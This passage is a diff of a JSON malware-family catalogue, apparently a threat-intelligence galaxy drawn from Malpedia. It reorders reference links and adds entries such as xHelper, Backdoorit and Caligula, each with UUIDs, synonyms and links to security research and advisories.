"https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack", - "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/", "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/", - "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/" + "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/", + "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/", + "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack" ], "synonyms": [], "type": [] @@ -2735,8 +2861,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba", - "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan", - "https://securelist.com/roaming-mantis-reaches-europe/105596/" + "https://securelist.com/roaming-mantis-reaches-europe/105596/", + "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan" ], "synonyms": [], "type": [] @@ -2749,8 +2875,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot", - "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/", - "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" + "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", + "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/" ], "synonyms": [], "type": [] @@ -2763,7 +2889,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph", - "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html" + "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html", + "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5" ], "synonyms": [], "type": [] @@ -2771,6 +2898,19 @@ "uuid": "d202e42d-2c35-4c1c-90f1-644a8cae38f1", "value": "Xenomorph" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xhelper", + "https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f54dec1f-bec6-4f4a-a909-690d65e0f14b", + "value": "xHelper" + }, { "description": "", "meta": { @@ -2789,8 +2929,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat", - "https://blog.lookout.com/xrat-mobile-threat", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf", + "https://blog.lookout.com/xrat-mobile-threat" ], "synonyms": [], "type": [] @@ -2829,11 +2969,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark", - "https://securelist.com/whos-who-in-the-zoo/85394/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-juno", "https://securelist.com/whos-who-in-the-zoo/85394", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://www.secureworks.com/research/threat-profiles/cobalt-juno", + "https://securelist.com/whos-who-in-the-zoo/85394/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf" ], "synonyms": [], "type": [] @@ -2846,8 +2986,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg", - "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2", "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1", + "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2", "https://securelist.com/ztorg-from-rooting-to-sms/78775/" ], "synonyms": [ @@ -2863,19 +3003,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface", - "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", - "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", - "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.youtube.com/watch?v=GjquFKa4afU", - "https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - 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"https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://www.youtube.com/watch?v=GjquFKa4afU", + "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/" ], "synonyms": [ "HighShell", @@ -2905,10 +3046,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot", - "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", - "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", "https://www.cadosecurity.com/the-continued-evolution-of-abcbot/", - "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/" + "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/", + "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/" ], "synonyms": [], "type": [] @@ -2921,8 +3062,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/" + "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf" ], "synonyms": [], "type": [] @@ -2935,15 +3076,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", - "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", - "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/", - "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", + "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://cybersecuritynews.com/acidrain-wiper-malware/", "https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works" + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" ], "synonyms": [], "type": [] @@ -2999,17 +3142,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", - "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate" + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns" ], "synonyms": [], "type": [] @@ -3022,8 +3165,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel", - "https://www.secureworks.com/research/threat-profiles/bronze-olive", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-olive" ], "synonyms": [ "Ghost RAT" @@ -3038,12 +3181,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", - "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", + "https://blog.lexfo.fr/Avoslocker.html", "https://www.ic3.gov/Media/News/2022/220318.pdf", "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", - "https://blog.lexfo.fr/Avoslocker.html" + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux" ], "synonyms": [], "type": [] @@ -3082,16 +3225,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", - "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d" + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" ], "synonyms": [], "type": [] @@ -3099,6 +3242,21 @@ "uuid": "26b4d805-890b-4767-9d9f-a08adeee1c96", "value": "Babuk (ELF)" }, + { + "description": "According to Avast Decoded, Backdoorit is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it is also referred to as backd00rit.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoorit", + "https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/" + ], + "synonyms": [ + "backd00rit" + ], + "type": [] + }, + "uuid": "4a4bc444-9e93-47a6-a572-0e13f743d875", + "value": "Backdoorit" + }, { "description": "", "meta": { @@ -3117,21 +3275,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", - "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", - "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", - "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf" + "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", + "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/" ], "synonyms": [ "Gafgyt", @@ -3204,21 +3362,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat", - "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://twitter.com/sisoma2/status/1473243875158499330", - "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", - "https://killingthebear.jorgetesta.tech/actors/alphv", - "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://securelist.com/a-bad-luck-blackcat/106254/", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://blog.group-ib.com/blackcat", + "https://killingthebear.jorgetesta.tech/actors/alphv", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", - "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://twitter.com/sisoma2/status/1473243875158499330", + "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", + "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/" ], "synonyms": [ "ALPHV", @@ -3234,34 +3396,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://blog.group-ib.com/blackmatter#", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", + "https://twitter.com/VK_Intel/status/1423188690126266370", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://blog.group-ib.com/blackmatter#", - "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", - "https://blog.group-ib.com/blackmatter2", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://twitter.com/VK_Intel/status/1423188690126266370", - "https://twitter.com/GelosSnake/status/1451465959894667275" + "https://blog.group-ib.com/blackmatter2" ], "synonyms": [], "type": [] @@ -3274,9 +3436,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/", - "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/" ], "synonyms": [], "type": [] @@ -3304,8 +3466,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago", - "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github", + "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/", "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits" ], @@ -3320,14 +3482,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor", - "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor", + "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#", "https://troopers.de/troopers22/talks/7cv8pz/", - "https://twitter.com/CraigHRowland/status/1523266585133457408", - "https://twitter.com/cyb3rops/status/1523227511551033349", - "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896", "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#" + "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", + "https://twitter.com/CraigHRowland/status/1523266585133457408", + "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896" ], "synonyms": [ "JustForFun" @@ -3342,10 +3505,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", - "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", + "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/" ], "synonyms": [], @@ -3354,6 +3518,19 @@ "uuid": "0492f9bf-3c5d-4c17-993b-2b53d0fb06f7", "value": "Bvp47" }, + { + "description": "According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.caligula", + "https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c936f24c-c04a-4cab-9ac6-6384a2d4c283", + "value": "Caligula" + }, { "description": "XMRig-based mining malware written in Go.", "meta": { @@ -3373,10 +3550,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked", "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", - "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html", "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", - "https://blogs.cisco.com/security/linuxcdorked-faqs" + "https://blogs.cisco.com/security/linuxcdorked-faqs", + "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html" ], "synonyms": [ "CDorked.A" @@ -3457,10 +3634,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper", - 